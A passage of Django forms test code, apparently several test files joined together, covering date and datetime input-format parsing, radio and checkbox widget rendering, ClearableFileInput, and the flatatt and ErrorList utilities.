        f = forms.DateField(input_formats=["%m.%d.%Y", "%m-%d-%Y"], localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21')
        with self.assertRaises(forms.ValidationError):
            f.clean('21/12/2010')
        with self.assertRaises(forms.ValidationError):
            f.clean('21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12.21.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12-21-2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")


@override_settings(DATE_INPUT_FORMATS=["%d.%m.%Y", "%d-%m-%Y"])
class CustomDateInputFormatsTests(SimpleTestCase):
    def test_dateField(self):
        "DateFields can parse dates in the default format"
        f = forms.DateField()
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip
        text = f.widget.format_value(result)
        self.assertEqual(text, '21.12.2010')

        # Parse a date in a valid, but non-default format, get a parsed result
        result = f.clean('21-12-2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

    def test_localized_dateField(self):
        "Localized DateFields act as unlocalized widgets"
        f = forms.DateField(localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, '21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21-12-2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

    def test_dateField_with_inputformat(self):
        "DateFields with manually specified input formats can accept those formats"
        f = forms.DateField(input_formats=["%m.%d.%Y", "%m-%d-%Y"])
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('21.12.2010')
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12.21.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12-21-2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

    def test_localized_dateField_with_inputformat(self):
        "Localized DateFields with manually specified input formats can accept those formats"
        f = forms.DateField(input_formats=["%m.%d.%Y", "%m-%d-%Y"], localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('21.12.2010')
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12.21.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12-21-2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010")


class SimpleDateFormatTests(SimpleTestCase):
    def test_dateField(self):
        "DateFields can parse dates in the default format"
        f = forms.DateField()
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('2010-12-21')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21")

        # Parse a date in a valid, but non-default format, get a parsed result
        result = f.clean('12/21/2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21")

    def test_localized_dateField(self):
        "Localized DateFields in a non-localized environment act as unlocalized widgets"
        f = forms.DateField()
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('2010-12-21')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12/21/2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21")

    def test_dateField_with_inputformat(self):
        "DateFields with manually specified input formats can accept those formats"
        f = forms.DateField(input_formats=["%d.%m.%Y", "%d-%m-%Y"])
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21-12-2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21")

    def test_localized_dateField_with_inputformat(self):
        "Localized DateFields with manually specified input formats can accept those formats"
        f = forms.DateField(input_formats=["%d.%m.%Y", "%d-%m-%Y"], localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21-12-2010')
        self.assertEqual(result, date(2010, 12, 21))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21")


@override_settings(DATETIME_INPUT_FORMATS=["%I:%M:%S %p %d/%m/%Y", "%I:%M %p %d-%m-%Y"], USE_L10N=True)
class LocalizedDateTimeTests(SimpleTestCase):
    def setUp(self):
        activate('de')

    def tearDown(self):
        deactivate()

    def test_dateTimeField(self):
        "DateTimeFields can parse dates in the default format"
        f = forms.DateTimeField()
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM 21/12/2010')

        # ISO formats are accepted, even if not specified in formats.py
        self.assertEqual(f.clean('2010-12-21 13:30:05'), datetime(2010, 12, 21, 13, 30, 5))

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010 13:30:05')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip
        text = f.widget.format_value(result)
        self.assertEqual(text, '21.12.2010 13:30:05')

        # Parse a date in a valid, but non-default format, get a parsed result
        result = f.clean('21.12.2010 13:30')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010 13:30:00")

    def test_localized_dateTimeField(self):
        "Localized DateTimeFields act as unlocalized widgets"
        f = forms.DateTimeField(localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM 21/12/2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010 13:30:05')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, '21.12.2010 13:30:05')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('21.12.2010 13:30')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010 13:30:00")

    def test_dateTimeField_with_inputformat(self):
        "DateTimeFields with manually specified input formats can accept those formats"
        f = forms.DateTimeField(input_formats=["%H.%M.%S %m.%d.%Y", "%H.%M %m-%d-%Y"])
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21 13:30:05 13:30:05')
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM 21/12/2010')
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05 21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('13.30.05 12.21.2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010 13:30:05")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('13.30 12-21-2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010 13:30:00")

    def test_localized_dateTimeField_with_inputformat(self):
        "Localized DateTimeFields with manually specified input formats can accept those formats"
        f = forms.DateTimeField(input_formats=["%H.%M.%S %m.%d.%Y", "%H.%M %m-%d-%Y"], localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21 13:30:05')
        with self.assertRaises(forms.ValidationError):
            f.clean('1:30:05 PM 21/12/2010')
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05 21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('13.30.05 12.21.2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010 13:30:05")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('13.30 12-21-2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "21.12.2010 13:30:00")


@override_settings(DATETIME_INPUT_FORMATS=["%I:%M:%S %p %d/%m/%Y", "%I:%M %p %d-%m-%Y"])
class CustomDateTimeInputFormatsTests(SimpleTestCase):
    def test_dateTimeField(self):
        "DateTimeFields can parse dates in the default format"
        f = forms.DateTimeField()
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21 13:30:05')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('1:30:05 PM 21/12/2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip
        text = f.widget.format_value(result)
        self.assertEqual(text, '01:30:05 PM 21/12/2010')

        # Parse a date in a valid, but non-default format, get a parsed result
        result = f.clean('1:30 PM 21-12-2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:00 PM 21/12/2010")

    def test_localized_dateTimeField(self):
        "Localized DateTimeFields act as unlocalized widgets"
        f = forms.DateTimeField(localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21 13:30:05')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('1:30:05 PM 21/12/2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, '01:30:05 PM 21/12/2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('1:30 PM 21-12-2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:00 PM 21/12/2010")

    def test_dateTimeField_with_inputformat(self):
        "DateTimeFields with manually specified input formats can accept those formats"
        f = forms.DateTimeField(input_formats=["%m.%d.%Y %H:%M:%S", "%m-%d-%Y %H:%M"])
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05 21.12.2010')
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21 13:30:05')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12.21.2010 13:30:05')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:05 PM 21/12/2010")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12-21-2010 13:30')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:00 PM 21/12/2010")

    def test_localized_dateTimeField_with_inputformat(self):
        "Localized DateTimeFields with manually specified input formats can accept those formats"
        f = forms.DateTimeField(input_formats=["%m.%d.%Y %H:%M:%S", "%m-%d-%Y %H:%M"], localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05 21.12.2010')
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21 13:30:05')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12.21.2010 13:30:05')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:05 PM 21/12/2010")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12-21-2010 13:30')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "01:30:00 PM 21/12/2010")


class SimpleDateTimeFormatTests(SimpleTestCase):
    def test_dateTimeField(self):
        "DateTimeFields can parse dates in the default format"
        f = forms.DateTimeField()
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05 21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('2010-12-21 13:30:05')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21 13:30:05")

        # Parse a date in a valid, but non-default format, get a parsed result
        result = f.clean('12/21/2010 13:30:05')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21 13:30:05")

    def test_localized_dateTimeField(self):
        "Localized DateTimeFields in a non-localized environment act as unlocalized widgets"
        f = forms.DateTimeField()
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('13:30:05 21.12.2010')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('2010-12-21 13:30:05')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21 13:30:05")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('12/21/2010 13:30:05')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21 13:30:05")

    def test_dateTimeField_with_inputformat(self):
        "DateTimeFields with manually specified input formats can accept those formats"
        f = forms.DateTimeField(input_formats=["%I:%M:%S %p %d.%m.%Y", "%I:%M %p %d-%m-%Y"])
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21 13:30:05')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('1:30:05 PM 21.12.2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21 13:30:05")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('1:30 PM 21-12-2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21 13:30:00")

    def test_localized_dateTimeField_with_inputformat(self):
        "Localized DateTimeFields with manually specified input formats can accept those formats"
        f = forms.DateTimeField(input_formats=["%I:%M:%S %p %d.%m.%Y", "%I:%M %p %d-%m-%Y"], localize=True)
        # Parse a date in an unaccepted format; get an error
        with self.assertRaises(forms.ValidationError):
            f.clean('2010-12-21 13:30:05')

        # Parse a date in a valid format, get a parsed result
        result = f.clean('1:30:05 PM 21.12.2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30, 5))

        # Check that the parsed result does a round trip to the same format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21 13:30:05")

        # Parse a date in a valid format, get a parsed result
        result = f.clean('1:30 PM 21-12-2010')
        self.assertEqual(result, datetime(2010, 12, 21, 13, 30))

        # Check that the parsed result does a round trip to default format
        text = f.widget.format_value(result)
        self.assertEqual(text, "2010-12-21 13:30:00")






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.contrib.admin.tests import AdminSeleniumTestCase
from django.forms import (
    CheckboxSelectMultiple, ClearableFileInput, RadioSelect, TextInput,
)
from django.forms.widgets import (
    ChoiceFieldRenderer, ChoiceInput, RadioFieldRenderer,
)
from django.test import SimpleTestCase, override_settings
from django.urls import reverse
from django.utils import six
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.safestring import SafeData

from ..models import Article


class FormsWidgetTests(SimpleTestCase):

    def test_radiofieldrenderer(self):
        # RadioSelect uses a RadioFieldRenderer to render the individual radio inputs.
        # You can manipulate that object directly to customize the way the RadioSelect
        # is rendered.
        w = RadioSelect(choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo')))
        r = w.get_renderer('beatle', 'J')
        inp_set1 = []
        inp_set2 = []
        inp_set3 = []
        inp_set4 = []

        for inp in r:
            inp_set1.append(str(inp))
            inp_set2.append('%s<br />' % inp)
            inp_set3.append('<p>%s %s</p>' % (inp.tag(), inp.choice_label))
            inp_set4.append(
                '%s %s %s %s %s' % (
                    inp.name,
                    inp.value,
                    inp.choice_value,
                    inp.choice_label,
                    inp.is_checked(),
                )
            )

        self.assertHTMLEqual('\n'.join(inp_set1), """<label><input checked type="radio" name="beatle" value="J" /> John</label>
<label><input type="radio" name="beatle" value="P" /> Paul</label>
<label><input type="radio" name="beatle" value="G" /> George</label>
<label><input type="radio" name="beatle" value="R" /> Ringo</label>""")
        self.assertHTMLEqual('\n'.join(inp_set2), """<label><input checked type="radio" name="beatle" value="J" /> John</label><br />
<label><input type="radio" name="beatle" value="P" /> Paul</label><br />
<label><input type="radio" name="beatle" value="G" /> George</label><br />
<label><input type="radio" name="beatle" value="R" /> Ringo</label><br />""")
        self.assertHTMLEqual('\n'.join(inp_set3), """<p><input checked type="radio" name="beatle" value="J" /> John</p>
<p><input type="radio" name="beatle" value="P" /> Paul</p>
<p><input type="radio" name="beatle" value="G" /> George</p>
<p><input type="radio" name="beatle" value="R" /> Ringo</p>""")
        self.assertHTMLEqual('\n'.join(inp_set4), """beatle J J John True
beatle J P Paul False
beatle J G George False
beatle J R Ringo False""")

        # A RadioFieldRenderer object also allows index access to individual RadioChoiceInput
        w = RadioSelect(choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo')))
        r = w.get_renderer('beatle', 'J')
        self.assertHTMLEqual(str(r[1]), '<label><input type="radio" name="beatle" value="P" /> Paul</label>')
        self.assertHTMLEqual(
            str(r[0]),
            '<label><input checked type="radio" name="beatle" value="J" /> John</label>'
        )
        self.assertTrue(r[0].is_checked())
        self.assertFalse(r[1].is_checked())
        self.assertEqual((r[1].name, r[1].value, r[1].choice_value, r[1].choice_label), ('beatle', 'J', 'P', 'Paul'))

        # These individual widgets can accept extra attributes if manually rendered.
        self.assertHTMLEqual(
            r[1].render(attrs={'extra': 'value'}),
            '<label><input type="radio" extra="value" name="beatle" value="P" /> Paul</label>'
        )

        with self.assertRaises(IndexError):
            r[10]

        # You can create your own custom renderers for RadioSelect to use.
        class MyRenderer(RadioFieldRenderer):
            def render(self):
                return '<br />\n'.join(six.text_type(choice) for choice in self)
        w = RadioSelect(choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo')), renderer=MyRenderer)
        self.assertHTMLEqual(
            w.render('beatle', 'G'),
            """<label><input type="radio" name="beatle" value="J" /> John</label><br />
<label><input type="radio" name="beatle" value="P" /> Paul</label><br />
<label><input checked type="radio" name="beatle" value="G" /> George</label><br />
<label><input type="radio" name="beatle" value="R" /> Ringo</label>"""
        )

        # Or you can use custom RadioSelect fields that use your custom renderer.
        class CustomRadioSelect(RadioSelect):
            renderer = MyRenderer
        w = CustomRadioSelect(choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo')))
        self.assertHTMLEqual(
            w.render('beatle', 'G'),
            """<label><input type="radio" name="beatle" value="J" /> John</label><br />
<label><input type="radio" name="beatle" value="P" /> Paul</label><br />
<label><input checked type="radio" name="beatle" value="G" /> George</label><br />
<label><input type="radio" name="beatle" value="R" /> Ringo</label>"""
        )

        # You can customize rendering with outer_html/inner_html renderer variables (#22950)
        class MyRenderer(RadioFieldRenderer):
            # str is just to test some Python 2 issue with bytestrings
            outer_html = str('<div{id_attr}>{content}</div>')
            inner_html = '<p>{choice_value}{sub_widgets}</p>'
        w = RadioSelect(choices=(('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo')), renderer=MyRenderer)
        output = w.render('beatle', 'J', attrs={'id': 'bar'})
        self.assertIsInstance(output, SafeData)
        self.assertHTMLEqual(
            output,
            """<div id="bar">
<p><label for="bar_0"><input checked type="radio" id="bar_0" value="J" name="beatle" /> John</label></p>
<p><label for="bar_1"><input type="radio" id="bar_1" value="P" name="beatle" /> Paul</label></p>
<p><label for="bar_2"><input type="radio" id="bar_2" value="G" name="beatle" /> George</label></p>
<p><label for="bar_3"><input type="radio" id="bar_3" value="R" name="beatle" /> Ringo</label></p>
</div>""")

    def test_subwidget(self):
        # Each subwidget tag gets a separate ID when the widget has an ID specified
        self.assertHTMLEqual(
            "\n".join(
                c.tag() for c in CheckboxSelectMultiple(
                    attrs={'id': 'abc'},
                    choices=zip('abc', 'ABC')
                ).subwidgets('letters', list('ac'))
            ),
            """<input checked type="checkbox" name="letters" value="a" id="abc_0" />
<input type="checkbox" name="letters" value="b" id="abc_1" />
<input checked type="checkbox" name="letters" value="c" id="abc_2" />""")

        # Each subwidget tag does not get an ID if the widget does not have an ID specified
        self.assertHTMLEqual(
            "\n".join(c.tag() for c in CheckboxSelectMultiple(
                choices=zip('abc', 'ABC'),
            ).subwidgets('letters', list('ac'))),
            """<input checked type="checkbox" name="letters" value="a" />
<input type="checkbox" name="letters" value="b" />
<input checked type="checkbox" name="letters" value="c" />""")

        # The id_for_label property of the subwidget should return the ID that is used on the subwidget's tag
        self.assertHTMLEqual(
            "\n".join(
                '<input type="checkbox" name="letters" value="%s" id="%s" />'
                % (c.choice_value, c.id_for_label) for c in CheckboxSelectMultiple(
                    attrs={'id': 'abc'},
                    choices=zip('abc', 'ABC'),
                ).subwidgets('letters', [])
            ),
            """<input type="checkbox" name="letters" value="a" id="abc_0" />
<input type="checkbox" name="letters" value="b" id="abc_1" />
<input type="checkbox" name="letters" value="c" id="abc_2" />""")

    def test_sub_widget_html_safe(self):
        widget = TextInput()
        subwidget = next(widget.subwidgets('username', 'John Doe'))
        self.assertTrue(hasattr(subwidget, '__html__'))
        self.assertEqual(force_text(subwidget), subwidget.__html__())

    def test_choice_input_html_safe(self):
        widget = ChoiceInput('choices', 'CHOICE1', {}, ('CHOICE1', 'first choice'), 0)
        self.assertTrue(hasattr(ChoiceInput, '__html__'))
        self.assertEqual(force_text(widget), widget.__html__())

    def test_choice_field_renderer_html_safe(self):
        renderer = ChoiceFieldRenderer('choices', 'CHOICE1', {}, [('CHOICE1', 'first_choice')])
        renderer.choice_input_class = lambda *args: args
        self.assertTrue(hasattr(ChoiceFieldRenderer, '__html__'))
        self.assertEqual(force_text(renderer), renderer.__html__())


@override_settings(ROOT_URLCONF='forms_tests.urls')
class LiveWidgetTests(AdminSeleniumTestCase):

    available_apps = ['forms_tests'] + AdminSeleniumTestCase.available_apps

    def test_textarea_trailing_newlines(self):
        """
        Test that a roundtrip on a ModelForm doesn't alter the TextField value
        """
        article = Article.objects.create(content="\nTst\n")
        self.selenium.get(self.live_server_url + reverse('article_form', args=[article.pk]))
        self.selenium.find_element_by_id('submit').submit()
        article = Article.objects.get(pk=article.pk)
        # Should be "\nTst\n" after #19251 is fixed
        self.assertEqual(article.content, "\r\nTst\r\n")


@python_2_unicode_compatible
class FakeFieldFile(object):
    """
    Quacks like a FieldFile (has a .url and unicode representation), but
    doesn't require us to care about storages etc.
    """
    url = 'something'

    def __str__(self):
        return self.url


class ClearableFileInputTests(SimpleTestCase):

    def test_render_custom_template(self):
        widget = ClearableFileInput()
        widget.template_with_initial = (
            '%(initial_text)s: <img src="%(initial_url)s" alt="%(initial)s" /> '
            '%(clear_template)s<br />%(input_text)s: %(input)s'
        )
        self.assertHTMLEqual(
            widget.render('myfile', FakeFieldFile()),
            'Currently: <img src="something" alt="something" /> '
            '<input type="checkbox" name="myfile-clear" id="myfile-clear_id" /> '
            '<label for="myfile-clear_id">Clear</label><br />Change: <input type="file" name="myfile" />'
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import copy

from django.core.exceptions import ValidationError
from django.forms.utils import ErrorDict, ErrorList, flatatt
from django.test import SimpleTestCase
from django.utils import six
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy


class FormsUtilsTestCase(SimpleTestCase):
    # Tests for forms/utils.py module.

    def test_flatatt(self):
        ###########
        # flatatt #
        ###########

        self.assertEqual(flatatt({'id': "header"}), ' id="header"')
        self.assertEqual(flatatt({'class': "news", 'title': "Read this"}), ' class="news" title="Read this"')
        self.assertEqual(
            flatatt({'class': "news", 'title': "Read this", 'required': "required"}),
            ' class="news" required="required" title="Read this"'
        )
        self.assertEqual(
            flatatt({'class': "news", 'title': "Read this", 'required': True}),
            ' class="news" title="Read this" required'
        )
        self.assertEqual(
            flatatt({'class': "news", 'title': "Read this", 'required': False}),
            ' class="news" title="Read this"'
        )
        self.assertEqual(flatatt({}), '')

    def test_flatatt_no_side_effects(self):
        """
        Fixes #23883 -- Check that flatatt does not modify the dict passed in
        """
        attrs = {'foo': 'bar', 'true': True, 'false': False}
        attrs_copy = copy.copy(attrs)
        self.assertEqual(attrs, attrs_copy)

        first_run = flatatt(attrs)
        self.assertEqual(attrs, attrs_copy)
        self.assertEqual(first_run, ' foo="bar" true')

        second_run = flatatt(attrs)
        self.assertEqual(attrs, attrs_copy)

        self.assertEqual(first_run, second_run)

    def test_validation_error(self):
        ###################
        # ValidationError #
        ###################

        # Can take a string.
        self.assertHTMLEqual(
            str(ErrorList(ValidationError("There was an error.").messages)),
            '<ul class="errorlist"><li>There was an error.</li></ul>'
        )
        # Can take a unicode string.
        self.assertHTMLEqual(
            six.text_type(ErrorList(ValidationError("Not \u03C0.").messages)),
            '<ul class="errorlist"><li>Not π.</li></ul>'
        )
        # Can take a lazy string.
        self.assertHTMLEqual(
            str(ErrorList(ValidationError(ugettext_lazy("Error.")).messages)),
            '<ul class="errorlist"><li>Error.</li></ul>'
        )
        # Can take a list.
        self.assertHTMLEqual(
            str(ErrorList(ValidationError(["Error one.", "Error two."]).messages)),
            '<ul class="errorlist"><li>Error one.</li><li>Error two.</li></ul>'
        )
        # Can take a dict.
        self.assertHTMLEqual(
            str(ErrorList(sorted(ValidationError({'error_1': "1. Error one.", 'error_2': "2. Error two."}).messages))),
            '<ul class="errorlist"><li>1. Error one.</li><li>2. Error two.</li></ul>'
        )
        # Can take a mixture in a list.
        self.assertHTMLEqual(
            str(ErrorList(sorted(ValidationError([
                "1. First error.",
                "2. Not \u03C0.",
                ugettext_lazy("3. Error."),
                {
                    'error_1': "4. First dict error.",
                    'error_2': "5. Second dict error.",
                },
            ]).messages))),
            '<ul class="errorlist">'
            '<li>1. First error.</li>'
            '<li>2. Not π.</li>'
            '<li>3. Error.</li>'
            '<li>4. First dict error.</li>'
            '<li>5. Second dict error.</li>'
            '</ul>'
        )

        @python_2_unicode_compatible
        class VeryBadError:
            def __str__(self):
                return "A very bad error."

        # Can take a non-string.
        self.assertHTMLEqual(
            str(ErrorList(ValidationError(VeryBadError()).messages)),
            '<ul class="errorlist"><li>A very bad error.</li></ul>'
        )

        # Escapes non-safe input but not input marked safe.
        example = 'Example of link: <a href="http://www.example.com/">example</a>'
        self.assertHTMLEqual(
            str(ErrorList([example])),
            '<ul class="errorlist"><li>Example of link: '
            '&lt;a href=&quot;http://www.example.com/&quot;&gt;example&lt;/a&gt;</li></ul>'
        )
        self.assertHTMLEqual(
            str(ErrorList([mark_safe(example)])),
            '<ul class="errorlist"><li>Example of link: '
            '<a href="http://www.example.com/">example</a></li></ul>'
        )
